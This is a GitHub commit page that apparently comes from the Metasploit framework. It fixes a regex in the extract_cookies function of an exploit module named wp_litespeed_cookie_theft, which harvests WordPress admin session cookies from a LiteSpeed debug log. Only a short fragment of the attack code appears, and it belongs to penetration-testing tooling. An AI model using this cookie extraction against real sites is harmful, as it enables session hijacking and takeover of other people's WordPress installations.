Skip to content

Commit

Permalink
Fix cookie regex
Browse files Browse the repository at this point in the history
  • Loading branch information
jheysel-r7 committed Sep 13, 2024
1 parent e7da81c commit 96e506d
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion modules/exploits/multi/http/wp_litespeed_cookie_theft.rb
Original file line number Diff line number Diff line change
Expand Up @@ -89,7 +89,7 @@ def check
def extract_cookies(debug_log)
admin_cookies = []
debug_log.each_line do |log_line|
match = log_line.match(/Cookie: (wordpress_logged_in_[^=]+=[^;]+).*(wordpress_[^=]+=[^;]+)|(wordpress_[^=]+=[^;]+).*(wordpress_logged_in_[^=]+=[^;]+)/)
match = log_line.match(/Cookie:.*(wordpress_logged_in_[^=]+=[^;]+).*(wordpress_[^=]+=[^;]+)|(wordpress_[^=]+=[^;]+).*(wordpress_logged_in_[^=]+=[^;]+)/)
admin_cookies << match.captures.compact.join('; ') if match
end
admin_cookies
Expand Down

0 comments on commit 96e506d

Please sign in to comment.